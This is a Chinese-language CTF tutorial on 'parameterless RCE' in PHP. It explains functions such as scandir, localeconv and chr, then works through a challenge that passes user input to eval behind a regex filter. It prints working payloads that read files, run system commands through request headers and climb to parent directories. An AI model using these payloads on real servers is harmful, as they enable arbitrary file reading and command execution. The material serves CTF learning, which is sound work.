无参数RCE

一.用到的函数

1.preg_replace
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
preg_replace (正则表达式, 替换成, 字符串, 最大替换次数【默认-1,无数次】, 替换次数)
收集比较常用的正则字符:
[ABC]:匹配[...]里面得字符,例如[ABC]匹配字符串"ABCD"里的ABC字母
[^ABC]:匹配除了[...]里面的字符。如上一条相反。
[A-Z]:匹配所有大写字母,小写字母也同理
[\s\S]:匹配所有空白符,包括换行,\S 非空白符,包括换行。
\w:匹配字母、数字、下划线。等价于 [A-Za-z0-9_]
\n:匹配一个换行符。
\s:匹配任何空白字符,包括空格、制表符、换页符等等。
\S: 匹配任何非空白字符。
\f:匹配一个换页符。
\r:匹配一个回车符。

//下面是特别字符,使用时要加\,例如:\.
$:匹配输入字符串的结尾位置。
*: 匹配前面的子表达式零次或多次。
+:匹配前面的子表达式一次或多次。
.:匹配除换行符 \n 之外的任何单字符。
?:匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。
^:匹配输入字符串的开始位置,除非在方括号表达式中使用,当该符号在方括号表达式中使用时,表示不接受该方括号表达式中的字符集合。
|:指明两项之间的一个选择。

2.eval
1
2
3
4
5
6
7
8
9
10
11
12
//eval函数是php里的恶意代码执行,看到eval函数就基本是利用这个eval进行切入。

eval()函数可以把字符串按照php代码来计算,但是字符串必须是合法的php代码(不能把结尾的分号漏掉)

例子:
$a=100;
eval("echo$a;");
因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:
$a=100;
eval("echo\$a;")
//如果参数中带有变量且变量有赋值操作的话,变量前的$符号前一定要有"\"来转义。

3.scandir()

scandir() 函数返回指定目录中的文件和目录的数组。

用法:scandir(directory,sorting_order,context);

参数 描述
directory 必需。规定要扫描的目录。
sorting_order 可选。规定排列顺序。默认是 0,表示按字母升序排列。如果设置为 SCANDIR_SORT_DESCENDING 或者 1,则表示按字母降序排列。如果设置为 SCANDIR_SORT_NONE,则返回未排列的结果。
context 可选。规定目录句柄的环境。context 是可修改目录流的行为的一套选项。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//列出images目录的文件和目录
<?php
$dir = "/images/";

// 以升序排序 - 默认
$a = scandir($dir);

// 以降序排序
$b = scandir($dir,1);

print_r($a);
print_r($b);
?>

//结果显示
Array
(
[0] => .
[1] => ..
[2] => cat.gif
[3] => dog.gif
[4] => horse.gif
[5] => myimages
)
Array
(
[0] => myimages
[1] => horse.gif
[2] => dog.gif
[3] => cat.gif
[4] => ..
[5] => .
)
4.localeconv()

可以用来构造”.”,localeconv() 会返回当地的金融信息的数组,而第一个元素即为点。

构造方法只需取第一个元素即可pos()、current()均可

1
2
3
<?php
var_dump(pos(localeconv()));
?>

image-20200912175831311

5.pos()

pos() 函数是返回数组中的当前元素的值。

该函数是 current() 函数的别名。

每个数组中都有一个内部的指针指向它的”当前”元素,初始指向插入到数组中的第一个元素。

提示:该函数不会移动数组内部指针。

相关的方法:

  • current() - 返回数组中的当前元素的值
  • end() - 将内部指针指向数组中的最后一个元素,并输出
  • next() - 将内部指针指向数组中的下一个元素,并输出
  • prev() - 将内部指针指向数组中的上一个元素,并输出
  • reset() - 将内部指针指向数组中的第一个元素,并输出
  • each() - 返回当前元素的键名和键值,并将内部指针向前移动
6.localtime()

以数值数组和关联数组的形式输出本地时间:

因为localtime的第46秒对应的ASCII 值是”.”,所以可以用来构造”.”(和chr()函数配合使用就可以构造”.”)

1
localtime(timestamp,is_assoc);
参数 描述
timestamp 可选。规定 Unix 时间戳。如果未规定 timestamp,则默认为当前的本地时间 time()。
is_assoc 可选。规定返回关联数组还是索引数组。如果为 FALSE,则返回索引数组。如果为 TRUE,则返回关联数组。默认为 FALSE。关联数组的键名如下:[tm_sec] - 秒数[tm_min] - 分钟数[tm_hour] - 小时[tm_mday] - 月份中的第几天[tm_mon] - 年份中的第几个月,从 0 开始表示一月份[tm_year] - 年份,从 1900 开始[tm_wday] - 星期中的第几天 (Sunday=0)[tm_yday] - 年中的第几天[tm_isdst] - 夏令时当前是否生效
7.char()

chr() 函数从指定的 ASCII 值返回字符。

ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置 0,而十六进制值被定义为带前置 0x;

1
2
3
4
5
<?php
echo chr(61) . "<br>"; // 十进制
echo chr(061) . "<br>"; // 八进制值
echo chr(0x61) . "<br>"; // 十六进制值
?>
8.show_source()

对文件进行语法高亮显示。

本函数是 highlight_file() 的别名。

1
show_source(filename,return)
参数 描述
filename 必需。要进行高亮处理的 PHP 文件的路径。
return 可选。如果设置 true,则本函数返回高亮处理的代码。
1
2
3
4
5
6
7
<html>
<body>
<?php
show_source("1.php");
?>
</body>
</html>

image-20200912112907731

9.strpos()

查找字符串在另一字符串中第一次出现的位置。此函数对大小写敏感

1
strpos(string,find,start)
参数 描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。
1
2
3
<?php
echo strpos("You love php, I love php too!","php");
?>

image-20200912113134307

相关函数:

    • stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
    • strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
    • strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)

二、无参数RCE题目问题

1
2
3
4
5
6
7
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
?>
1.code传参

这个正则匹配是匹配字符串+()

看到有eval函数,就从这里切入,传参给code。而正常带参数的函数会被正则匹配过滤掉,所以用嵌套函数。

使用scandir(.)获取当前目录

因为这里有正则过滤,所以scandir的”.”要用其他的函数来构造出来。这里有两种方法

1
2
3
4
5
6
7
8
<?php
var_dump(scandir(chr(pos(localtime()))));
?>

<?php
var_dump(scandir(pos(localeconv())));
?>
//这两种方法就是构造点的方法不一样,原理都是一样,用scandir读取目录

image-20200906155734836

使用end读取最后一个文件名

1
var_dump(end(scandir(pos(localeconv()))));

image-20200906155853112

使用readfile读取flag.php

1
var_dump(readfile(end(scandir(pos(localeconv())))));

image-20200906160031122

2.利用session传参

session和cookie的功能作用相同,区别在于session记录在服务端,cookie作用在客户端。

session有两种实现方式,一种是通过cookies实现(把session的id放在cookie里面),另一种是通过重写URL实现(当浏览器不支持cookie的时候就会使用这种方式实现session)

1
show_source(session_id(session_start()));

第一步,将show_source(session_id(session_start()));传进code

image-20200912155859696

第二步,用HackBar将PHPSESSID=flag.php传进去,就得到了flag

image-20200912160008187

3.利用getallheaders()来获取参数RCE
1
2
getallheaders();//取得所有HTTP请求标头
echo(system(end(getallheaders())));

在请求那里输入ls,读取目录。可以看到读到了三个文件

image-20200912160850720

输入cat flag.php就可以读取flag

image-20200912161625637

跳转目录情况
  • 如果遇到flag在上层目录文件的情况,我们需要跳转到上层目录。

  • chdir()函数当参数为两个点的时候能够跳转到上层目录。

  • scandir(),读取当前目录在第二个元素就能读取两个点

    1
    2
    3
    4
    //参数为一个点的时候读取根目录。

    scandir(pos(localeconv()))
    或scandir(chr(pos(localtime()))
  • localtime第一个参数是时间戳,所以我们不能直接嵌套,需要带一个time函数作为嵌套、time函数能够返回时间戳

  • 构造读取上层目录payload

1
echo(implode(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))))));
  • 构造读取上层目录文件payload
1
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
其他小技巧

利用三角函数构造斜杠

1
chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile())))))))));
  • 利用随机令牌构造点
1
echo(implode(scandir(chr(strrev(uniqid())))));
小结
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
getchwd() 函数返回当前工作目录。
array_reverse() 以相反的元素顺序返回数组
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
localeconv() 返回当地金融信息,其中第一个元素是点
readfile() 输出一个文件
echo(implode(scandir(chr(strrev(uniqid()))))); 随机令牌构造点
chr(pos(localtime())) 利用当前秒数构造点
chr(floor(tan(tan(atan(atan(ord(cos(fclose(tmpfile()))))))))) 利用三角函数构造斜杠
current() 返回数组中的当前单元, 默认取第一个值
pos() current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)
show_source(); 高亮读取文件
highlight_file();高亮读取文件